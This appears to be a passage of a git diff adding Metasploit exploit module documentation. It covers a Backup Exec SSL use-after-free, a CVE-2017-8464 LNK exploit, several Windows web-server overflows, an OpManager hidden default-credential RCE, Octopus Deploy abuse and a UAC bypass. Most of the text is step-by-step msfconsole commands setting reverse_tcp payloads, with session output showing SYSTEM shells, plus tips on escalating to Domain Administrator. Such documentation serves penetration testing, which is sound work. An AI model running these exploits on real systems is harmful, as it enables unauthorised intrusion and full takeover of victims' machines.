+[here](https://www.veritas.com/trial/en/us/backup-exec-16.html). + + +## Vulnerability Description + +The agent accepts NDMP connections on TCP port 10000. The vendor-specific +`0xF383` NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS +session. Sub-type `4` initiates the SSL/TLS handshake; after successfully +completing this the client and server continue the NDMP session through the +SSL/TLS session. + +The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS +session is created, the agent creates necessary OpenSSL structures, including a +`struct BIO` from the connection's associated network socket using +`BIO_new_socket`. Upon the end of the SSL/TLS session, this structure is freed +by a call to `BIO_free` through a call to `SSL_free`. + +However, if a SSL/TLS connection is then re-established on the same NDMP +connection, the previously freed `BIO` is re-used in the new SSL/TLS session +even though it is no longer allocated. The `BIO` is stored during the first +connection setup and then retrieved during second connection setup as a member +of the `CSecuritySSLConnection` class, despite the call to `SSL_free` previously +freeing it. This leads to a use-after-free as the `BIO` contains a pointer to a +structure (`BIO_METHOD *method`) of function pointers that are used to perform +operations such as reading and writing from the wrapped `BIO` object (in this +case, the network socket). + +By overwriting the previously allocated `BIO` with controlled data, it is +possible to gain remote code execution when OpenSSL attempts to call one of +these function pointers. + + +## Verification Steps + +1. Install the Backup Exec server on a host. +2. Install the Backup Exec Remote Agent for Windows on another host, either + manually or through the server's remote agent installation feature. Note that + in this contrived test situation you should be sure to let the agent run for + a few minutes before continuing so it can finish initial startup work that + otherwise interferes with the exploit's heap manipulation. +3. Start `msfconsole`. +4. Select the module and configure it with, at minimum, the address of the host + running the remote agent: + ``` + use exploit/windows/backupexec/ssl_uaf + set RHOST [REMOTE AGENT HOST] + ``` +5. Check the service is running and potentially vulnerable with the `check` + command. +6. Select a target version using `set target [TARGET]`. +7. Select a payload and its options; for example: + ``` + set payload windows/x64/meterpreter/reverse_tcp + set LHOST [METASPLOIT HOST] + ``` +8. Start the exploit using the `exploit` command. +9. Hopefully get a `NT AUTHORITY\SYSTEM` shell :) + +An example session is as follows: + +``` +msf > use exploit/windows/backupexec/ssl_uaf +msf exploit(ssl_uaf) > set RHOST win10 +RHOST => win10 +msf exploit(ssl_uaf) > check + +Hostname: WIN10 +OS type: Windows NT +OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64 +Host ID: XXXX::XXXX:XXXX:XXXX:XXXX +Vendor: VERITAS Software, Corp. +Product: Remote Agent for NT +Revision: 9.2 +[*] win10:10000 The target appears to be vulnerable. +msf exploit(ssl_uaf) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64 + 1 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86 + 2 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64 + 3 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86 + 4 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64 + 5 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86 + 6 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64 + 7 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86 + 8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64 + 9 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86 + 10 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64 + 11 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86 + + +msf exploit(ssl_uaf) > set target 4 +target => 4 +msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf exploit(ssl_uaf) > set LHOST 10.123.1.1 +LHOST => 10.123.1.1 +msf exploit(ssl_uaf) > exploit + +[*] Started reverse TCP handler on 10.123.1.1:4444 +[*] win10:10000 - Connecting sockets... +[*] win10:10000 - CA certificate ID = 8120a0e9 +[*] win10:10000 - Getting and handling a certificate signing request... +[*] win10:10000 - Agent certificate ID = 430b56d0 +[*] win10:10000 - Testing certificate... +[*] win10:10000 - Spraying TLS extensions... +[*] win10:10000 - Entering SSL mode on main socket... +[*] win10:10000 - Spraying TLS extensions... +[*] win10:10000 - Sending stages 2 to 4... +[*] win10:10000 - Closing TLS spray sockets... +[*] win10:10000 - Re-entering SSL mode on main socket... +[*] win10:10000 - Spraying stage 1... +[*] win10:10000 - Triggering UAF, attempt 1/50... +[*] Sending stage (1189423 bytes) to 10.123.1.2 +[*] win10:10000 - Spraying stage 1... +[*] win10:10000 - Triggering UAF, attempt 2/50... +[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` + + +## Options + +Apart from the usual exploit module options such as `RHOST`, the module has a +few exploit-specific options. These should not normally need to be set or +changed from their default values in most situations as the exploit will pick +suitable values for them depending on the target selected. + +**NumSpraySockets** +The number of sockets connected to the remote agent in order to spray stage 1 of +the exploit, which should overwrite the freed `BIO`. + +**NumTLSSpraySockets** +The number of sockets connected to the remote agent in order to spray TLS +extensions. This is used to massage the low fragmentation heap in order to +increase chances of stage 1 successfully overwriting the freed `BIO`. + +**NumTriggerAttempts** +The number of attempts made to trigger the use-after-free for Windows 8+ +targets, where it is possible to retry calling the overwritten function pointer +multiple times. + + +## Scenarios + +The Backup Exec Remote Agent for Windows is installed on each host that has +local filesystems that should be backed up. These agents listen on the network +for NDMP connections (on port 10000), appearing in Nmap scans with scripts +enabled as follows: + +``` +Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST +Nmap scan report for (...) +Host is up (0.0035s latency). +Not shown: 994 filtered ports +PORT STATE SERVICE VERSION +(...) +10000/tcp open ndmp Symantec/Veritas Backup Exec ndmp (NDMPv3) +|_ndmp-version: ERROR: Script execution failed (use -d to debug) +``` + +(Note that the `ndmp-version` script fails to execute due to not sending an +`NDMP_CONNECT_OPEN` request before querying version information with the +`NDMP_CONFIG_GET_HOST_INFO` request. This exploit module's `check` command will +carry this query out successfully.) + +While the exploit is not guaranteed to gain RCE (see the module's description), +in practise the agent is often widely installed in a Windows domain across a +range of hosts (including fileservers and domain controllers). This means +usually at least one instance of the agent will give a shell on a server where +it's easy enough to further escalate to Domain Administator from `SYSTEM`. diff --git a/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md b/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md index f6e7c223b9..106d1f24a5 100644 --- a/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md +++ b/documentation/modules/exploit/windows/browser/firefox_smil_uaf.md @@ -17,7 +17,7 @@ The module includes an option named UsePostHTML which is turned off by default. 1. Start msfconsole 2. Do: ```use exploit/windows/browser/firefox_smil_uaf``` -3. Do: ```set payload [PREFERRED PAYLOAD] +3. Do: ```set payload [PREFERRED PAYLOAD]``` 4. Do: ```set PAYLOAD [PAYLOAD NAME]``` 5. Set payload options as needed 6. Do: ```run```, and have a target browse to the generated URL diff --git a/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md b/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md new file mode 100644 index 0000000000..f3866db5b4 --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/cve_2017_8464_lnk_rce.md @@ -0,0 +1,109 @@ +## Vulnerable Application + +This vulnerability affects any Windows version without the patch for +CVE-2017-8464. The exploit does not appear to work with UNC drives. Because of +this, the exploit DLL file needs to be on a local file system or an USB drive. +A fix was released in the June 2017 Patch Tuesday. + +## Vulnerable Setup + +To set up the vulnerable environment, install a Windows version without the patch for CVE-2017-8464. To test the bypass, ensure that MS10-046 & MS15-020 are installed. + +## Verification Steps + +### Start a handler + 1. `use exploit/multi/handler` + 2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp` + 3. `set LHOST [ip victim connects back to]` + 4. `exploit -j` + 5. `back` + +### Run the exploit + + 1. `use exploit/windows/fileformat/cve_2017_8464_lnk_rce` + 2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp` + 3. `set LHOST [ip victim connects back to]` + 4. `exploit` + +### Copy files to USB drive & open on vulnerable system + + 1. `cp /root/.msf4/local/* [USB drive path]` + 2. Insert device in target machine and browse to it + +## Options + +**FILENAME** + +The file name of the LNK file. This file name can be renamed later. If the value is not set, a random name will be generated. + +**DLLNAME** + +The file name of the DLL file. This file cannot be renamed, as this will invalidate the LNK file(s). If not set, a random name will be generated. + +**DRIVE** + +Drive letter assigned to USB drive on victim's machine. If not set, LNK files for drive D till Z will be created. Copy all these LNK files to the USB drive to increase the chance that the vulnerability will be triggered. + +### Windows 10 x64 (Build 14393) + +``` +msf > use exploit/multi/handler +msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +PAYLOAD => windows/x64/meterpreter/reverse_tcp +msf exploit(handler) > set LHOST 192.168.146.197 +LHOST => 192.168.146.197 +msf exploit(handler) > exploit -j +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.146.197:4444 +[*] Starting the payload handler... +msf exploit(handler) > back +msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce +msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +PAYLOAD => windows/x64/meterpreter/reverse_tcp +msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.146.197 +LHOST => 192.168.146.197 +msf exploit(cve_2017_8464_lnk_rce) > exploit + +msf exploit(cve_2017_8464_lnk_rce) > exploit + +[*] /root/.msf4/local/kNgYlztVprHPOmHY.dll created, copy it to the root folder of the target USB drive +[*] /root/.msf4/local/SoXXZhgCWEDkbDyA_D.lnk created, copy to the target USB drive +[*] /root/.msf4/local/rfuSAlSFEPmrgsBh_E.lnk created, copy to the target USB drive +[*] /root/.msf4/local/LydLhRBovVRINgUh_F.lnk created, copy to the target USB drive +[*] /root/.msf4/local/xbpnlkcQOYonGpKW_G.lnk created, copy to the target USB drive +[*] /root/.msf4/local/SezkrIUwqIVvMiOZ_H.lnk created, copy to the target USB drive +[*] /root/.msf4/local/UzsJRIdcpoZPpLEj_I.lnk created, copy to the target USB drive +[*] /root/.msf4/local/BxTkakFYhUaxSNyi_J.lnk created, copy to the target USB drive +[*] /root/.msf4/local/dPdanTusElQRKzGZ_K.lnk created, copy to the target USB drive +[*] /root/.msf4/local/cKUaDslpjLshMEpP_L.lnk created, copy to the target USB drive +[*] /root/.msf4/local/RQPOxJeuGqVCQGNB_M.lnk created, copy to the target USB drive +[*] /root/.msf4/local/tLDnpaeIeUavIxqP_N.lnk created, copy to the target USB drive +[*] /root/.msf4/local/VVQOvhpqJYbhINIX_O.lnk created, copy to the target USB drive +[*] /root/.msf4/local/dAIEBrbaixsXjnnm_P.lnk created, copy to the target USB drive +[*] /root/.msf4/local/AoHnIQhKkpnYSOZR_Q.lnk created, copy to the target USB drive +[*] /root/.msf4/local/kZCCppTXKsuGRSCB_R.lnk created, copy to the target USB drive +[*] /root/.msf4/local/vMBPqzoOEoJXhZqQ_S.lnk created, copy to the target USB drive +[*] /root/.msf4/local/ueCsaNzVsljfHKnS_T.lnk created, copy to the target USB drive +[*] /root/.msf4/local/TSCgPoYrFFnZqMsl_U.lnk created, copy to the target USB drive +[*] /root/.msf4/local/QFbXkQeBmCvXezNg_V.lnk created, copy to the target USB drive +[*] /root/.msf4/local/liPaOopqYJbBIrVY_W.lnk created, copy to the target USB drive +[*] /root/.msf4/local/eZiWpyEYbkWHqStW_X.lnk created, copy to the target USB drive +[*] /root/.msf4/local/PawzVPKmvBoSblhA_Y.lnk created, copy to the target USB drive +[*] /root/.msf4/local/vJhDzJUydwYxnLlp_Z.lnk created, copy to the target USB drive +msf exploit(cve_2017_8464_lnk_rce) > +[*] Sending stage (1189423 bytes) to 192.168.146.193 +[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.193:50020) at 2017-07-25 19:28:27 +0200 +sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : DESKTOP-5G8HK7E +OS : Windows 10 (Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md b/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md new file mode 100644 index 0000000000..13db863e7d --- /dev/null +++ b/documentation/modules/exploit/windows/http/disk_pulse_enterprise_get.md @@ -0,0 +1,55 @@ +## Vulnerable Application + + Tested on Windows 7 x64 and x86. + + Install the application from the link below and enable the web server by going to Options -> Server -> Enable Web Server on Port. + + [Disk Pulse Enterprise v 9.9.16](https://www.exploit-db.com/apps/45ce22525c87c0762f6e467db6ddfcbc-diskpulseent_setup_v9.9.16.exe) + +## Verification Steps + + 1. Install the application and set the option above to enable the web server + 2. Start msfconsole + 3. Do: ```use exploit/windows/http/disk_pulse_enterprise_get``` + 5. Set options and payload + 6. Do: ```run``` + 7. You should get a shell. + +## Options + + **RHOST** + + IP address of the remote host running the server. + + **RPORT** + + Port that the web server is running on. Default is 80 but it can be changed when setting up the program or in the options. + +## Scenarios + + To obtain a shell: + + ``` +msf > use exploit/windows/http/disk_pulse_enterprise_get +msf exploit(disk_pulse_enterprise_get) > set payload windows/shell_reverse_tcp +payload => windows/shell_reverse_tcp +msf exploit(disk_pulse_enterprise_get) > set RHOST x.x.x.x +RHOST => x.x.x.x +msf exploit(disk_pulse_enterprise_get) > set LHOST y.y.y.y +LHOST => y.y.y.y +msf exploit(disk_pulse_enterprise_get) > set LPORT 1234 +LPORT => 1234 +msf exploit(disk_pulse_enterprise_get) > set RPORT 8080 +RPORT => 8080 +msf exploit(disk_pulse_enterprise_get) > exploit + +[*] Started reverse TCP handler on y.y.y.y:1234 +[*] Generating exploit... +[*] Sending exploit... +[*] Command shell session 1 opened (y.y.y.y:1234 -> x.x.x.x:64567) at 2017-09-14 10:52:06 -0500 + +Microsoft Windows [Version 6.1.7600] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\Windows\system32> + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/windows/http/easychatserver_seh.md b/documentation/modules/exploit/windows/http/easychatserver_seh.md new file mode 100644 index 0000000000..915985d6e7 --- /dev/null +++ b/documentation/modules/exploit/windows/http/easychatserver_seh.md @@ -0,0 +1,53 @@ +## Description + +This module exploits a vulnerability in the EFS Easy Chat Server application versions 2 through 3.1. The username parameter in the Registration page 'register.php', which is prone to a stack overflow vulnerability. + +This module allows a remote attacker to execute a payload under the context of the user running the Easy Chat Server application + +## Vulnerable Application + +[Easy Chat Server](http://echatserver.com/) Easy Chat Server is an easy, fast and affordable way to host and manage real-time communication software. + +This module has been tested successfully on + + * Easy Chat Server 3.1 on Windows XP En SP3 + +Installers: + +[EFS Easy Chat Server Installers](http://echatserver.com/ecssetup.exe) + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploits/windows/http/easychatserver_seh` + 3. Do: `set rhosts [IP]` + 4. Do: `exploit` + 5. You should get your payload executed + +## Scenarios + +``` +marco@kali:~$ msfconsole -q +msf > use exploit/windows/http/easychatserver_seh +msf exploit(easychatserver_seh) > set RHOST 192.168.56.101 +RHOST => 192.168.56.101 +msf exploit(easychatserver_seh) > exploit + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Sending stage (957487 bytes) to 192.168.56.101 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200 + +meterpreter > sysinfo +Computer : MM-8B040C5B05D9 +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit +msf exploit(easychatserver_seh) > +``` diff --git a/documentation/modules/exploit/windows/http/easyfilesharing_post.md b/documentation/modules/exploit/windows/http/easyfilesharing_post.md new file mode 100644 index 0000000000..92798f84fd --- /dev/null +++ b/documentation/modules/exploit/windows/http/easyfilesharing_post.md @@ -0,0 +1,53 @@ +## Description + +This module exploits a vulnerability in the Easy File Sharing Web Server application. It uses an overflow in the Email Post parameter, bypassing DEP via a ROP chain. + +This module allows a remote attacker to execute a payload under the context of the user running the Easy File Sharing application + +## Vulnerable Application + +[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.). + +This module has been tested successfully on + + * Easy File Sharing 7.2 on Windows XP En Sp3 + +Installers: + +[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe) + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploits/windows/http/easyfilesharing_post` + 3. Do: `set rhosts [IP]` + 4. Do: `exploit` + 5. You should get your payload executed + +## Scenarios + +``` +root@kali:~$ msfconsole -q +msf > use exploit/windows/http/easyfilesharing_post +msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101 +RHOST => 192.168.56.101 +msf exploit(easyfilesharing_post) > exploit + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Sending stage (957487 bytes) to 192.168.56.101 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200 + +meterpreter > sysinfo +Computer : MM +OS : Windows XP (Build 2600, Service Pack 3). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit +msf exploit(easyfilesharing_post) > +``` diff --git a/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md b/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md new file mode 100644 index 0000000000..1505645db5 --- /dev/null +++ b/documentation/modules/exploit/windows/http/manage_engine_opmanager_rce.md @@ -0,0 +1,63 @@ +## Description + +This module exploits a default credential vulnerability in ManageEngine OpManager, where a +default hidden account "IntegrationUser" with administrator privileges exists. The account +has a default password of "plugin" which can not be reset through the user interface. By +log-in and abusing the default administrator's SQL query functionality, it's possible to +write a WAR payload to disk and trigger an automatic deployment of this payload. + +## Vulnerable Application + +[OpManager](https://www.manageengine.com/network-monitoring/) is an application designed +around "integrated network management". + +This module has been verified against the following OpManager versions: + +* v11.0 +* v11.4 +* v11.5 +* v11.6 + +Installers: + +* [OpManager Installers](http://archives.manageengine.com/opmanager/) + +## Verification Steps + +1. Start msfconsole +1. `use exploit/windows/http/manage_engine_opmanager_rce` +1. `set RHOST ` +1. `exploit` +1. You should get a working Meterpreter session + +## Scenarios + +### Targeting Windows Server 2012 running OpManager v11.5 + +``` +msf > use exploit/windows/http/manage_engine_opmanager_rce +msf exploit(manage_engine_opmanager_rce) > set RHOST 10.0.2.12 +RHOST => 10.0.2.12 +msf exploit(manage_engine_opmanager_rce) > exploit + +[*] Started reverse TCP handler on 10.0.2.4:4444 +[*] Access login page +[*] Location is [ http://10.0.2.12/apiclient/ember/index.jsp;jsessionid=B5903DA9A1DBA5592690EC69AF7FA27D ] +[*] Following redirection +[*] Retrieved API key [ 2eb58a9f104f29c8520d23243502cf5b ] +[*] Executing SQL queries +[*] Attempting to launch payload in deployed WAR... +[*] Attempting to launch payload in deployed WAR... +[*] Attempting to launch payload in deployed WAR... +[*] Sending stage (49667 bytes) to 10.0.2.12 +[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.12:49496) at 2017-06-20 15:13:50 -0500 +[+] Deleted tomcat//webapps//r63xuE3q1gOAZsCQuJ.war +[!] This exploit may require manual cleanup of 'tomcat//webapps//r63xuE3q1gOAZsCQuJ' on the target + +meterpreter > getuid +Server username: Administrator +meterpreter > sysinfo +Computer : WIN-SI597APFOFH +OS : Windows Server 2008 6.2 (amd64) +Meterpreter : java/windows +``` diff --git a/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md b/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md index 12f4641c6f..5690903d7d 100644 --- a/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md +++ b/documentation/modules/exploit/windows/http/manageengine_connectionid_write.md @@ -1,6 +1,7 @@ ## Description -This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null byte at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. This exploit was successfully tested on version 9, build 90109 and build 91084. +This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null byte at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. +This exploit was successfully tested on version 9, build 90109 and build 91084. **NOTE:** By default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file `rdslog0.txt`. @@ -21,7 +22,7 @@ Desktop Central is integrated desktop and mobile device management software that 3. Do: ```check``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` $ msfconsole diff --git a/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md b/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md new file mode 100644 index 0000000000..0685069a24 --- /dev/null +++ b/documentation/modules/exploit/windows/http/octopusdeploy_deploy.md @@ -0,0 +1,145 @@ +## Vulnerable Application + + [Install Octopus Deploy server](https://octopus.com/docs/getting-started#Gettingstarted-InstalltheOctopusserver) + + [Create a test user/team](https://octopus.com/docs/administration/managing-users-and-teams) - Team should have "Project contributor" and "Project deployer", or just "System administrator" and add your test user. + + [Create an API key](https://octopus.com/docs/how-to/how-to-create-an-api-key) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/windows/http/octopusdeploy_deploy``` + 4. Do: set ```PATH```, ```RHOST```, ```RPORT```, and ```SSL``` if needed + 5. Do: set ```STEPNAME``` if desired + 6. Do: set ```USERNAME``` and ```PASSWORD``` or just ```APIKEY``` + 7. Do: ```run``` + 8. You should get a shell. + +## Options + + **APIKEY** + + API key, which can be generated within the Octopus Deploy application. Can be used instead of a username/password combination. + + **USERNAME** + + Username of the Octopus Deploy user. + + **PASSWORD** + + Password of the Octopus Deploy user. + + **PATH** + + Path to the Octopus Deploy instance. For example, if you sign in to "https://example.com/octopus/app", the value should be "/octopus". + + **STEPNAME** + + Name of the step to be added to a deployment. This may be visible in the application for a short period of time. A random value will be generated if no value is provided. + + **SSL** + + Enables or disables SSL. Octopus Deploy server can be configured to listen for HTTP or HTTPS traffic. +## Scenarios + +### Octopus Deploy Server 3.16.0 + + Getting a privileged shell on Octopus Deploy server using administrative credentials. + + ``` + msf > use exploit/windows/http/octopusdeploy_deploy +msf exploit(octopusdeploy_deploy) > set PATH /octoADTest +PATH => /octoADTest +msf exploit(octopusdeploy_deploy) > set USERNAME ODUser +USERNAME => ODUser +msf exploit(octopusdeploy_deploy) > set PASSWORD Password1 +PASSWORD => Password1 +msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12 +RHOST => 10.0.0.12 +msf exploit(octopusdeploy_deploy) > set RPORT 80 +RPORT => 80 +msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp +payload => windows/powershell_reverse_tcp +msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7 +LHOST => 10.0.0.7 +msf exploit(octopusdeploy_deploy) > run + +[*] Started reverse SSL handler on 10.0.0.7:4444 +[*] Getting available projects +[*] Using project TestProject2 +[*] Getting steps to TestProject2 +[*] Adding step r4XAJc to TestProject2 +[*] Getting available channels +[*] Using channel Default +[*] Getting next version +[*] Using version 0.0.2 +[*] Creating release +[*] Release Releases-79 created +[*] Deploying TestProject2 version 0.0.2 to TestEnv +[*] Getting updated steps to TestProject2 +[*] Deleting step r4XAJc from TestProject2 +[*] Step r4XAJc deleted +[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59346) at 2017-05-15 19:54:01 -0500 + +Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD +Copyright (C) 2015 Microsoft Corporation. All rights reserved. + +PS C:\Octopus\ADTest\Work\20170516025358-22>whoami +nt authority\system +PS C:\Octopus\ADTest\Work\20170516025358-22> exit + +[*] 10.0.0.12 - Powershell session session 1 closed. Reason: Died from Errno::ECONNRESET + +msf exploit(octopusdeploy_deploy) > + ``` + + Getting a privileged shell on Octopus Deploy server using a sufficiently privileged API key. + + ``` + msf > use exploit/windows/http/octopusdeploy_deploy +msf exploit(octopusdeploy_deploy) > set PATH /octoADTest +PATH => /octoADTest +msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12 +RHOST => 10.0.0.12 +msf exploit(octopusdeploy_deploy) > set RPORT 80 +RPORT => 80 +msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp +payload => windows/powershell_reverse_tcp +msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7 +LHOST => 10.0.0.7 +msf exploit(octopusdeploy_deploy) > set APIKEY API-FCIQ773M43RKNC4I9KZHQTABC +APIKEY => API-FCIQ773M43RKNC4I9KZHQTABC +msf exploit(octopusdeploy_deploy) > set STEPNAME shell +STEPNAME => shell +msf exploit(octopusdeploy_deploy) > run + +[*] Started reverse SSL handler on 10.0.0.7:4444 +[*] Getting available projects +[*] Using project TestProject2 +[*] Getting steps to TestProject2 +[*] Adding step shell to TestProject2 +[*] Getting available channels +[*] Using channel Default +[*] Getting next version +[*] Using version 0.0.3 +[*] Creating release +[*] Release Releases-80 created +[*] Deploying TestProject2 version 0.0.3 to TestEnv +[*] Getting updated steps to TestProject2 +[*] Deleting step shell from TestProject2 +[*] Step shell deleted +[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59373) at 2017-05-15 19:59:55 -0500 + +Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD +Copyright (C) 2015 Microsoft Corporation. All rights reserved. + +PS C:\Octopus\ADTest\Work\20170516025952-24>whoami +nt authority\system +PS C:\Octopus\ADTest\Work\20170516025952-24> exit + +[*] 10.0.0.12 - Powershell session session 1 closed. Reason: Died from Errno::ECONNRESET + +msf exploit(octopusdeploy_deploy) > + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md b/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md index 9dedf7b430..b170d08d68 100644 --- a/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md +++ b/documentation/modules/exploit/windows/http/serviio_checkstreamurl_cmd_exec.md @@ -30,7 +30,7 @@ 4. Do: `run` 5. You should get a session -## Sample Output +## Scenarios ``` msf > use exploit/windows/http/serviio_checkstreamurl_cmd_exec diff --git a/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md b/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md index a90093995c..cc328a60ca 100755 --- a/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md +++ b/documentation/modules/exploit/windows/iis/iis_webdav_upload_asp.md @@ -21,7 +21,7 @@ Web Distributed Authoring and Versioning (WebDAV) is an extension of the Hyperte 3. Do: ```set PATH / [PATH]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use exploit/windows/iis/iis_webdav_upload_asp diff --git a/documentation/modules/exploit/windows/local/bypassuac_comhijack.md b/documentation/modules/exploit/windows/local/bypassuac_comhijack.md new file mode 100644 index 0000000000..03a992a583 --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_comhijack.md @@ -0,0 +1,115 @@ +## Intro + +This module will bypass UAC on Windows 7 through to 10 RS3 by hijacking a COM Class ID +that is located in the current user hive. This key contains a reference to a DLL that +contains a chosen payload. Multiple COM vectors are defined in this module and one is +chosen at random at runtime. + +The module modifies the registry in order for this exploit to work. The modification is +reverted once the exploitation attempt has finished. + +This module requires that the payload architecture matches the target operating system +architecture. This is due to the fact that the underlying binaries that are invoked +match the system architecture. + +If a custom DLL is to be used with `EXE::Custom`, that DLL must match the system +architecture, and should call `ExitProcess()` after starting the payload in a +different process. + +## Usage + +1. Create a session on the target system under the context of a local administrative user. +1. Begin interacting with the module: `use exploit/windows/local/bypassuac_comhijack`. +1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct. +1. If an existing handler is configured to receive the elevated session, then the module's + handler should be disabled: `set DisablePayloadHandler true`. +1. Make sure that the `SESSION` value is set to the existing session identifier. +1. Invoke the module: `run`. + +## Scenario + +``` +msf exploit(bypassuac_comhijack) > sessions + +Active sessions +=============== + + Id Type Information Connection + -- ---- ----------- ---------- + 1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159) + +msf exploit(bypassuac_comhijack) > sessions -1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : DESKTOP-5A73R51 +OS : Windows 10 (Build 14393). +Architecture : x64 +System Language : en_AU +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows + +meterpreter > getsystem +[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted: +[-] Named Pipe Impersonation (In Memory/Admin) +[-] Named Pipe Impersonation (Dropper/Admin) +[-] Token Duplication (In Memory/Admin) +meterpreter > background +[*] Backgrounding session 1... +msf 